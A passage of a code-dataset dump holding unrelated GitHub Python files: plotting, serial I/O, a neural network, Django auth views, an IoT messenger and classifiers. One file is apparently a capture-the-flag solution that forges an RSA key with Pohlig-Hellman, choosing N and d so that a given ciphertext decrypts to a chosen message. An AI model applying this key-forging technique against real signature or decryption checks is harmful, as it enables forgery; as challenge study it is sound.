False):\n plt.title('Hierarchical Clustering Dendrogram')\n plt.xlabel('cluster size')\n plt.ylabel('distance')\n for i, d, c in zip(ddata['icoord'], ddata['dcoord'], ddata['color_list']):\n x = 0.5 * sum(i[1:3])\n y = d[1]\n if y > annotate_above:\n plt.plot(x, y, 'o', c=c)\n plt.annotate(\"%.3g\" % y, (x, y), xytext=(0, -5),\n textcoords='offset points', \n va='top', ha='center')\n if max_d:\n plt.axhline(y=max_d, c='k')\n return ddata\n\n\ndef plot_dynamic_activity_embeddings(annotated_coordinates: ArrayLike, **kwargs) -> None:\n pyplot_module = kwargs.get('pyplot_module', None)\n if pyplot_module is None:\n plt = import_module('matplotlib.pyplot', 'matplotlib')\n else:\n plt = pyplot_module\n\n figsize = kwargs.get('figsize', (15,10))\n xytext = kwargs.get('figsize', (5, 2))\n textcoords = kwargs.get('textcoords', 'offset points')\n ha = kwargs.get('ha', 'right')\n va = kwargs.get('va', 'bottom')\n \n plt.figure(figsize=figsize)\n for label, x, y in annotated_coordinates:\n plt.scatter(x, y)\n plt.annotate(\n label,\n xy=(x, y),\n xytext=xytext,\n textcoords=textcoords,\n ha=ha,\n va=va)\n plt.show()\n \n \ndef plot_embedding_changes_in_vector_space(\n target_activities: ArrayLike, \n aligned_activity_norms: ArrayLike, \n timeline_slices: ArrayLike, **kwargs) -> None:\n \n pyplot_module = kwargs.get('pyplot_module', None)\n if pyplot_module is None:\n plt = import_module('matplotlib.pyplot', 'matplotlib')\n else:\n plt = pyplot_module\n \n if isinstance(timeline_slices, np.ndarray):\n timeline_slices = timeline_slices.tolist()\n \n figsize = kwargs.get('figsize', (15,10))\n markersize = kwargs.get('markersize', 7)\n plt.figure(figsize=figsize)\n time_frames = [week for week in timeline_slices]\n markers = ['+', 'o', 'x']\n plt.clf()\n\n for idx in range(len(aligned_activity_norms)):\n norms = aligned_activity_norms[idx]\n plt.plot(time_frames, norms, marker=markers[idx], markersize=markersize)\n\n plt.legend(target_activities)\n plt.xlabel('week')\n plt.ylabel('activity norm')\n plt.show()\n\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"hsanchez/funcs","sub_path":"plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":11090,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"73238845662","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jan 20 22:42:51 2022\r\n\r\n@author: shriv\r\n\"\"\"\r\n\r\n#pip install pyserial \r\n\r\n# Importing libraries\r\nimport serial\r\nimport time\r\n\r\nimport numpy as np\r\n# import numpy with the namespace np\r\n\r\nimport matplotlib.animation as animation\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\narduino = serial.Serial(port='COM5', baudrate=115200, timeout=.1)\r\n# Create a serial object by calling the constructor of class serial.Serial\r\n\r\n\r\n_sineData = np.array([]) # from the namespace np, import the data type array\r\n#_timeStamp = np.array([])\r\nplt.show()\r\n\r\n#startTime = time.time()\r\n#def animate(i):\r\nwhile True: \r\n _arduinoRead = arduino.readline() # read one byte of data from the serial port\r\n _arduinoRead = _arduinoRead.decode('ASCII') #decode the incoming data \r\n try:\r\n _arduinoRead = float(_arduinoRead) #type cast to float\r\n except ValueError:\r\n continue\r\n \r\n #print(type(_arduinoRead))\r\n #print(_arduinoRead)\r\n _sineData = np.append(_sineData,_arduinoRead) \r\n # add new data to old array and create a new array\r\n _avg = np.mean(_sineData) #from the namespace np, use method called mean\r\n #print(len(_sineData))\r\n #np.append(_timeStamp,time.time()-startTime)\r\n #np.append(_timeStamp,i)\r\n #print(len(_sineData))\r\n \r\n #from the namespace plt, import the following methods\r\n #syntax -> plt.method_name()\r\n plt.cla()\r\n plt.plot(_sineData)\r\n plt.xlabel(\"Amplitude\")\r\n plt.ylabel=(\"index\")\r\n plt.title(\"Sine wave %f\"%_avg)\r\n plt.autoscale()\r\n plt.pause(0.05)\r\n\r\n#ani = animation.FuncAnimation(plt.gcf(), animate, interval=1000)\r\n#plt.show()\r\n","repo_name":"shrivatsan3/Python-Serial-pipeline","sub_path":"serial_read.py","file_name":"serial_read.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25562138399","text":"__author__ = 'Daniel LeJeune'\n\nfrom itertools import product\n\nimport numpy as np\nfrom sklearn.preprocessing import OneHotEncoder\n\n\nclass DeepNeuralNetwork(object):\n\n def __init__(self, input_dim, layer_specs, loss=None, reg_penalty=1e-2, seed=0):\n '''\n\n :param input_dim:\n :param layer_specs: list [(output_width, ActivationFunction)] of specs for each layer\n :param loss:\n :param reg_penalty:\n :param seed:\n '''\n\n np.random.seed(seed)\n self.input_dim = input_dim\n\n self.layers = []\n for output_dim, activation in layer_specs:\n self.layers.append(Layer(input_dim=input_dim, output_dim=output_dim, activation=activation))\n input_dim = output_dim\n\n if loss is None:\n self.loss = Losses.CrossEntropy()\n else:\n self.loss = loss\n\n self.reg_penalty = reg_penalty\n self._needs_feedforward = True\n\n def feedforward(self, X):\n\n for layer in self.layers:\n X = layer.feedforward(X)\n\n self.output = X\n self._needs_feedforward = False\n\n return self.output\n\n def backprop(self, y):\n\n self.loss.compute(self.output, y)\n\n grad = self.loss.grad\n for layer in reversed(self.layers):\n grad = layer.backprop(grad)\n\n def update(self, step_size):\n\n for layer in self.layers:\n layer.update(step_size, self.reg_penalty)\n\n self._needs_feedforward = True\n\n def compute_loss(self, X, y):\n\n if self._needs_feedforward:\n self.feedforward(X)\n\n loss = self.loss.compute(self.output, y)\n\n for layer in self.layers:\n loss += self.reg_penalty / 2 * np.sum(layer.W ** 2)\n\n return loss\n\n def train(self, X, y, step_size=1e-2, epochs=1000, verbose=False):\n\n for i in range(epochs):\n\n if self._needs_feedforward:\n self.feedforward(X)\n self.backprop(y)\n self.update(step_size)\n\n if verbose and i % 1000 == 0:\n print('Loss after iteration %d: %f' % (i, self.compute_loss(X, y)))\n\n def check_gradients(self, X, y, epsilon=1e-6):\n\n self.feedforward(X)\n self.backprop(y)\n\n for k, layer in enumerate(self.layers):\n\n W = layer.W\n dW = layer.dW\n\n dW_hat = np.zeros_like(W)\n\n for i, j in product(*(range(x) for x in W.shape)):\n\n delta = np.zeros_like(W)\n delta[i, j] = epsilon\n\n layer.W = W + delta\n self._needs_feedforward = True\n L_plus = self.compute_loss(X, y)\n\n layer.W = W - delta\n self._needs_feedforward = True\n L_minus = self.compute_loss(X, y)\n\n dW_hat[i, j] = (L_plus - L_minus) / 2 / epsilon\n\n layer.W = W\n dW = dW + self.reg_penalty * W\n\n print('Layer %d, max dW error: %f' % (k, np.max(np.abs((dW_hat - dW) / np.maximum(np.abs(dW_hat), np.abs(dW))))))\n\n b = layer.b\n\n db_hat = np.zeros_like(b)\n\n for i, j in product(*(range(x) for x in b.shape)):\n\n delta = np.zeros_like(b)\n delta[i, j] = epsilon\n\n layer.b = b + delta\n self._needs_feedforward = True\n L_plus = self.compute_loss(X, y)\n\n layer.b = b - delta\n self._needs_feedforward = True\n L_minus = self.compute_loss(X, y)\n\n db_hat[i, j] = (L_plus - L_minus) / 2 / epsilon\n\n layer.b = b\n\n print('Layer %d, max db error: %f' % (k, np.max(np.abs((db_hat - layer.db) / np.maximum(np.abs(db_hat), np.abs(layer.db))))))\n\n\nclass Layer(object):\n\n def __init__(self, input_dim, output_dim, activation=None):\n\n self.input_dim = input_dim\n self.output_dim = output_dim\n\n if activation is None:\n self.activation = ActivationFunctions.Tanh()\n else:\n self.activation = activation\n\n self.W = np.random.randn(output_dim, input_dim) / np.sqrt(input_dim)\n self.b = np.zeros((output_dim, 1))\n\n def feedforward(self, X):\n\n self.input = X\n self.Z = X @ self.W.T + self.b.T\n self.output = self.activation.feedforward(self.Z)\n\n return self.output\n\n def backprop(self, doutput):\n\n self.dz = np.einsum('ijk,ik->ij', self.activation.grad, doutput)\n self.dinput = np.einsum('ijk,ik->ij', self.W.T[None, :, :], self.dz)\n\n self.dW = self.dz.T @ self.input\n self.db = self.dz.sum(0)[:, None]\n\n return self.dinput\n\n def update(self, step_size, reg_penalty=0):\n\n dW = self.dW + reg_penalty * self.W\n\n self.W -= step_size*dW\n self.b -= step_size*self.db\n\n\nclass ActivationFunctions:\n\n class Sigmoid(object):\n\n def feedforward(self, X):\n\n n_samples, n_features = X.shape\n\n self.output = 1 / (1 + np.exp(-X))\n\n self.grad = np.zeros((n_samples, n_features, n_features))\n for i in range(n_samples):\n self.grad[i, np.arange(n_features), np.arange(n_features)] = self.output[i, :] * (1 - self.output[i, :])\n\n return self.output\n\n class Tanh(object):\n\n def __init__(self):\n self.sigmoid = ActivationFunctions.Sigmoid()\n\n def feedforward(self, X):\n\n self.sigmoid.feedforward(2 * X)\n self.output = 2*self.sigmoid.output - 1\n self.grad = 4*self.sigmoid.grad\n\n return self.output\n\n class ReLU(object):\n\n def feedforward(self, X):\n\n n_samples, n_features = X.shape\n\n grad = (X > 0).astype(float)\n\n self.grad = np.zeros((n_samples, n_features, n_features))\n for i in range(n_samples):\n self.grad[i, np.arange(n_features), np.arange(n_features)] = grad[i, :]\n\n self.output = grad * X\n\n return self.output\n\n class Softmax(object):\n\n def feedforward(self, X):\n\n n_samples, n_features = X.shape\n\n self.output = np.exp(X)\n self.output /= self.output.sum(1)[:, None]\n\n self.grad = np.zeros((n_samples, n_features, n_features))\n for i in range(n_samples):\n self.grad[i, np.arange(n_features), np.arange(n_features)] = self.output[i, :]\n self.grad[i, :, :] -= np.outer(self.output[i, :], self.output[i, :])\n\n return self.output\n\n\nclass Losses:\n\n class CrossEntropy(object):\n\n def __init__(self):\n self.onehot_encoder = None\n\n def compute(self, X, y):\n\n n_samples, n_features = X.shape\n\n if np.ndim(y) == 1:\n y = y[:, None]\n\n if self.onehot_encoder is None:\n self.onehot_encoder = OneHotEncoder(n_features, sparse=False)\n y = self.onehot_encoder.fit_transform(y)\n else:\n y = self.onehot_encoder.transform(y)\n\n self.output = - np.sum(np.log(X) * y) / n_samples\n self.grad = - y / X / n_samples\n\n return self.output","repo_name":"dlej/elec576","sub_path":"assignment1/n_layer_neural_network.py","file_name":"n_layer_neural_network.py","file_ext":"py","file_size_in_byte":7171,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"41772767038","text":"import json\nfrom os import stat\nfrom urllib import response\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom .serializers import ChangePasswordSerializer,UpdateUserSerializer,UserSerializer,LogoutSerializer\nfrom rest_framework.permissions import AllowAny\n\nfrom authen.models import User\nfrom .serializers import *\nfrom rest_framework import generics\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.views import APIView\nfrom rest_framework_simplejwt.tokens import RefreshToken\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework_simplejwt.views import TokenObtainPairView\nfrom rest_framework_simplejwt.token_blacklist.models import BlacklistedToken, OutstandingToken\nclass MyObtainTokenPairView(TokenObtainPairView):\n permission_classes = [AllowAny]\n serializer_class = MyTokenObtainPairSerializer\n\n\nclass RegisterView(generics.CreateAPIView):\n permission_classes = (AllowAny,)\n serializer_class = RegisterSerializer\n def post(self,request):\n serializer = self.serializer_class(data=request.data)\n if(serializer.is_valid()):\n serializer.save()\n user=User.objects.get(email=request.data['email'])\n refresh = RefreshToken.for_user(user)\n\n ser= ObtainTokenSerializer({\n 'refresh': str(refresh),\n 'access': str(refresh.access_token),\n 'created':True\n }).data\n final_data={\n 'user':UserSerializer(user).data,\n 'token':ser\n }\n return Response(final_data, status=status.HTTP_201_CREATED)\n\n return Response({'message':serializer.errors},status=status.HTTP_400_BAD_REQUEST)\nclass ChangePasswordView(generics.UpdateAPIView):\n lookup_field = 'id'\n queryset = User.objects.all()\n permission_classes = (IsAuthenticated,)\n serializer_class = ChangePasswordSerializer \n def update(self, request, *args, **kwargs):\n instance = self.get_object()\n serializer = self.get_serializer(instance, data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_update(serializer)\n return Response({\"Password changed succesfully\"}, status=status.HTTP_200_OK) \n\nclass UpdateProfileView(generics.UpdateAPIView):\n queryset = User.objects.all()\n permission_classes = (IsAuthenticated,)\n lookup_field = 'id'\n serializer_class = UpdateUserSerializer \nclass LogoutView(APIView):\n\n permission_classes = (IsAuthenticated,)\n\n def post(self, request):\n try:\n refresh_token = self.request.data.get('refresh_token')\n token = RefreshToken(token=refresh_token)\n token.blacklist()\n return Response(status=status.HTTP_205_RESET_CONTENT)\n except:\n return Response(status=status.HTTP_400_BAD_REQUEST) \nclass LogoutAllView(APIView):\n permission_classes = (IsAuthenticated,)\n\n def post(self, request):\n tokens = OutstandingToken.objects.filter(user_id=request.user.id)\n for token in tokens:\n t, _ = BlacklistedToken.objects.get_or_create(token=token)\n\n return Response(status=status.HTTP_205_RESET_CONTENT) \nclass UserView(APIView):\n permission_classes = (IsAuthenticated,)\n\n def get(self, request):\n user = request.user\n serializer = UserSerializer(user)\n return Response(data=serializer.data,status=status.HTTP_200_OK)\nclass UserPersonal(APIView):\n permission_classes = (IsAuthenticated,)\n\n def get(self, request):\n user = request.user\n serializer = UserSerializer(user)\n\n return Response(data=serializer.data,status=status.HTTP_200_OK)\nclass CheckEmailView(APIView):\n permission_classes = (AllowAny,)\n\n def get(self, request):\n email = request.query_params.get('email')\n if(email==None):\n return Response(\"need email query param\",status=status.HTTP_400_BAD_REQUEST)\n if User.objects.filter(email=email).exists():\n return Response('this email already exist',status=status.HTTP_406_NOT_ACCEPTABLE)\n else:\n return Response('email is ok',status=status.HTTP_200_OK)\n\nclass Getaddresses(APIView):\n\n def get(self, request):\n p_code=request.query_params.get('p_code',None)\n if (p_code==None):\n return Response(\"need p_code query param\",status=status.HTTP_400_BAD_REQUEST)\n else:\n addreses=[]\n data={\n \"address\": \"2133 Grove Street\",\n \"city\": \"New York\",\n \"p_code\": \"10011\",\n \"province\": \"New York\",\n \"street\": \"simple\"\n\n }\n addreses.append(data)\n addreses.append(data)\n addreses.append(data)\n addreses.append(data)\n return Response(addreses,status=status.HTTP_200_OK)","repo_name":"mohamadch91/LandoLet-app-backend","sub_path":"authen/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4934,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"19547943939","text":"from collections import defaultdict\nimport sys\nsys.setrecursionlimit(10000000)\n\ndef dfs(curr, sheep, wolf, node_arr):\n global answer,child,infos\n \n if infos[curr] == 0:\n sheep += 1\n answer = max (answer, sheep)\n else:\n wolf += 1\n if sheep <= wolf:\n return\n node_arr.extend(child[curr])\n for node in node_arr:\n dfs(node,sheep,wolf,[j for j in node_arr if j != node])\n\n\ndef solution(info, edges):\n global answer, child, infos\n infos = info\n answer = 0\n child = defaultdict(list)\n for edge in edges:\n child[edge[0]].append(edge[1])\n dfs(0,0,0,[]) \n return answer\n","repo_name":"MinHoon-LEE/Ps_Sql","sub_path":"Programmers/Algorithm/Python/92343/92343.py","file_name":"92343.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"37192439419","text":"import asyncio\nimport datetime\nimport re\nimport time\nimport json\nimport threading\nfrom collections import deque\nfrom time import sleep\nimport azure.iot.device as device\n\nfrom azure.iot.device import IoTHubDeviceClient\nfrom paho.mqtt.client import MQTTMessage\n\nimport db_access\n\n\nclass IoTMessenger(threading.Thread):\n def __init__(self, msg_stack: deque):\n self.conn = db_access.create_connection()\n self.msg_stack = msg_stack\n conn_str = \"REMOVED\"\n\n self.device_client: IoTHubDeviceClient = IoTHubDeviceClient.create_from_connection_string(conn_str)\n threading.Thread.__init__(self)\n\n def run(self):\n while True:\n asyncio.run(self.check_messages())\n asyncio.run(self.process_stored_measurements())\n sleep(1)\n\n async def handle_measurement(self, measurement, store_on_fail=False):\n try:\n self.device_client.connect()\n self.device_client.send_message(json.dumps(measurement))\n self.device_client.disconnect()\n return True\n except (device.exceptions.ClientError,\n device.exceptions.ConnectionDroppedError,\n device.exceptions.ConnectionFailedError):\n if store_on_fail:\n print(\"Storing failed message\")\n self.store_measurement(measurement)\n return False\n\n async def check_messages(self):\n if len(self.msg_stack) > 0:\n msg: MQTTMessage = self.msg_stack.pop()\n measurement = self.parse_message(msg)\n print(json.dumps(measurement))\n await self.handle_measurement(measurement, True)\n\n @staticmethod\n def parse_message(message):\n payload = message.payload.decode(\"utf-8\")\n measurement = json.loads(payload)\n measurement[\"timestamp\"] = datetime.datetime.utcfromtimestamp(\n time.mktime(datetime.datetime.now().timetuple())).strftime('%Y-%m-%d %H:%M:%S')\n measurement[\"deviceId\"] = message.topic.replace(\"sensors/\", \"\").replace(\"/measurements\", \"\")\n return measurement\n\n @staticmethod\n def store_measurement(measurement):\n conn = db_access.create_connection()\n db_access.add_measurement(conn, measurement)\n\n @staticmethod\n def store_measurement(measurement):\n conn = db_access.create_connection()\n db_access.failed_measurements_exist(conn)\n db_access.add_measurement(conn, measurement)\n\n async def process_stored_measurements(self):\n conn = db_access.create_connection()\n if db_access.failed_measurements_exist(conn):\n measurements = db_access.get_measurements(conn)\n for measurement in measurements:\n id = measurement.pop(\"id\", None)\n success = await self.handle_measurement(measurement, False)\n if success and id is not None:\n db_access.delete_measurement(conn, id)\n else:\n return\n\n","repo_name":"LeonJelsma/IoTFundamentalsProject","sub_path":"Hub/IoTMessenger.py","file_name":"IoTMessenger.py","file_ext":"py","file_size_in_byte":2970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"29638053386","text":"from sklearn import __version__ as sklearn_version\nfrom distutils.version import LooseVersion\nfrom sklearn import datasets\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import Perceptron\nfrom sklearn.metrics import accuracy_score\nfrom matplotlib.colors import ListedColormap\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.tree import export_graphviz\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn import metrics\n\niris = datasets.load_iris()\nX = iris.data[:, [2, 3]]\ny = iris.target\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=1, stratify=y)\n\nsc = StandardScaler()\nsc.fit(X_train)\nX_train_std = sc.transform(X_train)\nX_test_std = sc.transform(X_test)\n\ndef plot_decision_regions(X, y, classifier, test_idx=None, resolution=0.02):\n\n # setup marker generator and color map\n markers = ('s', 'x', 'o', '^', 'v')\n colors = ('red', 'blue', 'lightgreen', 'gray', 'cyan')\n cmap = ListedColormap(colors[:len(np.unique(y))])\n\n # plot the decision surface\n x1_min, x1_max = X[:, 0].min() - 1, X[:, 0].max() + 1\n x2_min, x2_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n xx1, xx2 = np.meshgrid(np.arange(x1_min, x1_max, resolution),np.arange(x2_min, x2_max, resolution))\n Z = classifier.predict(np.array([xx1.ravel(), xx2.ravel()]).T)\n Z = Z.reshape(xx1.shape)\n plt.contourf(xx1, xx2, Z, alpha=0.3, cmap=cmap)\n plt.xlim(xx1.min(), xx1.max())\n plt.ylim(xx2.min(), xx2.max())\n \n for idx, cl in enumerate(np.unique(y)):\n plt.scatter(x=X[y == cl, 0], \n y=X[y == cl, 1],\n alpha=0.8, \n c=colors[idx],\n marker=markers[idx], \n label=cl, \n edgecolor='black')\n\n # highlight test samples\n if test_idx:\n # plot all samples\n X_test, y_test = X[test_idx, :], y[test_idx]\n\n plt.scatter(X_test[:, 0],X_test[:, 1],c='',edgecolor='black',alpha=1.0,linewidth=1,marker='o',s=100, label='test set')\n\ntree = DecisionTreeClassifier(criterion='gini', max_depth=4, random_state=1)\ntree.fit(X_train, y_train)\n\nX_combined = np.vstack((X_train, X_test))\nX_combined_std = np.vstack((X_train_std, X_test_std))\ny_combined = np.hstack((y_train, y_test))\nplot_decision_regions(X_combined, y_combined, classifier=tree, test_idx=range(105, 150))\n\nplt.xlabel('petal length [cm]')\nplt.ylabel('petal width [cm]')\nplt.legend(loc='upper left')\nplt.tight_layout()\nplt.show()\n\nk_range=range(1,26)\nscores=[]\nfor k in k_range:\n knn = KNeighborsClassifier(n_neighbors=k, p=2, metric='minkowski')\n knn.fit(X_train_std, y_train)\n #print('Test accuracy:',knn.score(X_test_std,y_test))\n plot_decision_regions(X_combined_std, y_combined, classifier=knn, test_idx=range(105, 150))\n plt.xlabel('petal length [standardized]')\n plt.ylabel('petal width [standardized]')\n plt.legend(loc='upper left')\n plt.tight_layout()\n plt.show()\n y_pred=knn.predict(X_test_std)\n scores.append(metrics.accuracy_score(y_test,y_pred))\n \nprint(scores)\nplt.plot(k_range,scores)\nplt.xlabel('Value of K for KNN')\nplt.ylabel('Testing Accuracy')\n\nprint(\"My name is {Audrey Ayo}\")\nprint(\"My NetID is: {ayo2}\")\nprint(\"I hereby certify that I have read the University policy on Academic Integrity and that I am not in violation.\")\n","repo_name":"audreyayo/Machine-Learning-Class","sub_path":"Desktop/Academic/Fall Semester 2018/IE 598/Homework/IE598_F18_HW2.py","file_name":"IE598_F18_HW2.py","file_ext":"py","file_size_in_byte":3648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25685076867","text":"import math\nimport Crypto.PublicKey\nimport Crypto.PublicKey.RSA as rsa\nfrom math import gcd\nfrom Crypto.Util.number import *\nimport gmpy2\nimport OpenSSL.crypto as crypto\nimport Crypto.Util.number as number\nimport time\nimport random\nimport Crypto.Util.number as num\nimport sympy.ntheory as sym\n\n#First try was to choose d and calculate N from it. The resulting N was so big, that i could not get the primefactors to calculte q,p,phi(N) and e. But i thought that my approach must be correct and i have to calculate the key N,d such that C^d mod N = M.\n#After a pause of 1 or two weeks from this challange i thought again about the problem and i came up with the idea to swap the order of my calculation. What if i choose an N and caclulate d with the discrete log or another method. \n#So i did some reasearch on attacking rsa by calulating the private exponent d. Wikipedia show some algorithms which make the calculation of the discrete logarithm more efficient.\n#I also found a writeup of a similar challange from the BSidesSF2020 CTF, where the Pohlig-Hellman algorithm is used to calculate the discrete logarithm and find the correct (d,N) pair. https://blog.skullsecurity.org/2020/bsidessf-ctf-choose-your-own-keyventure-rsa-debugger-challenge. This seems to be the solution for our problem. So i decided to implement this in python (props to https://blog.skullsecurity.org/2020/bsidessf-ctf-choose-your-own-keyventure-rsa-debugger-challenge)\n\n#given C,M\n#calculate d,N such that C^d mod N = M\n\n#https://blog.skullsecurity.org/2020/bsidessf-ctf-choose-your-own-keyventure-rsa-debugger-challenge\n#https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm\n#we can use Pohlig-Hellman algorithm and calculate the discrete log from C^d mod N = M \n#if the order of the Group is smooth\n#here is phi(N) = (p-1)*(q-1)\n\n#Plan calculate P-1 and Q-1 with very small primes such that P,Q are prime\n#Then we find the discrete log from C^d mod N = C (possible if we can map every element of the Group N and N>M)\n#N must be at least as big as M, because C^d mod N = M. If N is smaller then M, the result of C^d mod N could never be equal M.\n\n\n#choose Q = 2 as first prime -> just calculate smooth number P-1\nq = 2\n\n\nM = 1067267517149537754067764973523953846272152062302519819783794287703407438588906504446261381994947724460868747474504670998110717117637385810239484973100105019299532993569\nC = 6453808645099481754496697330465\nprint(\"M (kind answer): {}\".format(M))\nprint(\"C (Quak): {}\".format(C))\n\nsizeN = math.log2(M)/math.log2(2)\nprimes = [i for i in range(2,100000) if num.isPrime(i)]\n#print(size)\n\n#listOfSmoothNumbers = \n#calulate a smooth number of at least size \"sizeNumber\"\ndef calcSmoothNumberOfAtLeast(sizeNumber):\n p = 2\n l = [2]\n while(math.log2(p)/math.log2(2) < sizeNumber):\n n = random.choice(primes)\n l.append(n)\n p = p * n\n #print(p)\n #print(\"candidate : {}\".format(p))\n return p, l\n\n#find prime p with p-1 smooth\ndef calculateP(size):\n p = 1\n while(not num.isPrime(p)):\n cand, l = calcSmoothNumberOfAtLeast(size) \n p = cand + 1\n return p, l\n\np, l = calculateP(sizeN)\nN = p * q\nphi = (p-1)*(q-1)\nd = sym.discrete_log(N,M,C)\nprint(\"N : {}\".format(N))\nprint(\"q : {}\".format(q))\nprint(\"p : {}\".format(p))\nprint(\"d : {}\".format(d))\nassert(gmpy2.powmod(C, d, N)==M)\n\ne = gmpy2.divm(1,d,phi)\nd = int(d)\ne = int(e)\n\n#export key\nkey = rsa.construct((N,e,d,p,q))\nprint(key)\nf = open('final.pem', 'wb')\nf.write(key.exportKey('PEM'))\nf.close()\n\n\n\n","repo_name":"deshiJo/CSCG2020","sub_path":"Cryptography/PohligHellmanAttack.py","file_name":"PohligHellmanAttack.py","file_ext":"py","file_size_in_byte":3511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72552588382","text":"import editdistance as ed\n\nfrom ctc_decoder import BKTree\n\n\ndef test_bk_tree():\n \"test BK tree on words from corpus\"\n with open('../data/word/corpus.txt') as f:\n words = f.read().split()\n\n tolerance = 2\n t = BKTree(words)\n q = 'air'\n actual = sorted(t.query(q, tolerance))\n expected = sorted([w for w in words if ed.eval(q, w) <= tolerance])\n assert actual == expected\n","repo_name":"githubharald/CTCDecoder","sub_path":"tests/test_bk_tree.py","file_name":"test_bk_tree.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":779,"dataset":"github-code","pt":"7"} +{"seq_id":"74998437341","text":"\nimport math\ndef myfun(*l):\n #sotre occurences in hashmap\n hm = {}\n for i in l:\n if i not in hm:\n hm[i] = 1\n else:\n hm[i] += 1\n #sort the elements by the occurence of eleementx\n newl = sorted(hm.items(),key = lambda x: (x[1], x[0]), reverse = True)\n print(newl)\n #store the number mutilplied by the occurences\n a,b = newl[0][0] * newl[0][1] ,newl[1][0] * newl[1][1]\n \n #store the total occurence of elements with max count\n occurences = newl[0][1]+newl[1][1]\n\n return math.floor((a+b)/occurences)\n\n\nprint(myfun(6,3,8,10,8,100,100,100,50,50,50,8))\n","repo_name":"alimalim77/Python-Practice-Track","sub_path":"Warm Up/company_list.py","file_name":"company_list.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21329805323","text":"#Sonsuz bir döngü oluştur ve \"done\" girene kadar o döngümün ortalamaasını kaç adet sayı olduğunu ve aritmetik ortalamasını bul\n\n\ntotal = 0.0\ncount = 0\n\n\nwhile True :\n sayı = input(\"Enter a number\")\n if sayı == 'done':\n break\n try:\n sayı = float(sayı)\n except:\n print(\"İnvalid value\")\n continue\n\n total = total + sayı\n count = count + 1\n\naverage = total / count\n\nprint(\"Total : \\nAverage : \\nCount : \",total,average,count)\n \n","repo_name":"msafakdal1/Python-","sub_path":"toplaOrtalamaAdetGeçersizDeğer.py","file_name":"toplaOrtalamaAdetGeçersizDeğer.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"4807572518","text":"from keras.utils import Sequence\nimport numpy as np\nimport pickle\nimport os\nimport json\nfrom keras.preprocessing.image import load_img, img_to_array\nfrom keras.applications import xception\n\n\nclass DataGenerator(Sequence):\n 'Generates data for Keras'\n\n def __init__(self, list_IDs, batch_size=32, shuffle=True, nb_img=5,\n img_width=299, img_height=299, root_path='./data'):\n \"\"\"\n This function creates a DataGenerator able to feed a network with\n examples.\n\n Parameters\n ----------\n list_IDs : list of directories to use for data generation\n batch_size : int representing size of a batch of examples\n shuffle : boolean indicating weither to shuffle examples\n nb_img : number of neighbour images needed to create an example\n img_width : the target image width\n img_height : the target image width\n root_path : the parent directory\n \"\"\"\n self.batch_size = batch_size\n self.list_IDs = list_IDs\n self.shuffle = shuffle\n self.nb_img = nb_img\n self.img_width = img_width\n self.img_height = img_height\n self.root_path = root_path\n self.on_epoch_end()\n\n def __len__(self):\n \"\"\"\n This function returns the maximal number of batches which can be\n generated without using any example twice.\n\n Returns\n -------\n the number of batches of examples that the generator can provide\n \"\"\"\n return int(np.floor(len(self.indexes) / self.batch_size))\n\n def __getitem__(self, index):\n \"\"\"\n This function returns the next batch of examples to use.\n Note that an example is entirely determined by the fist image and the\n number of images to use.\n\n Parameters\n ----------\n index : the number of batches already used\n\n Returns\n -------\n X : the next batch of examples\n y : the labels associated to the examples\n \"\"\"\n\n # Generate indexes of the batch\n indexes = self.indexes[index *\n self.batch_size:(index + 1) * self.batch_size]\n\n # Generate data\n X, y = self.__data_generation(indexes)\n\n return X, y\n\n def on_epoch_end(self):\n \"\"\"\n This function creates a new ordering of the indexes associated to the\n examples.\n \"\"\"\n\n self.file_indexes = []\n for index_dir in self.list_IDs:\n index_file = 0\n tmp_path = os.path.join(self.root_path, str(index_dir),\n f\"crop_{(index_file+self.nb_img):02d}.png\")\n while os.path.isfile(tmp_path):\n index_file += 1\n tmp_path = os.path.join(\n self.root_path,\n str(index_dir),\n f\"crop_{(index_file+self.nb_img):02d}.png\")\n self.file_indexes.append(index_file)\n\n self.indexes = [[self.list_IDs[k], i]\n for k in range(len(self.list_IDs))\n for i in range(self.file_indexes[k])]\n if self.shuffle:\n np.random.shuffle(self.indexes)\n\n def __data_generation(self, indexes):\n \"\"\"\n This function builds a batch of examples, given the first image of each\n example.\n\n Parameters\n ----------\n indexes : list of 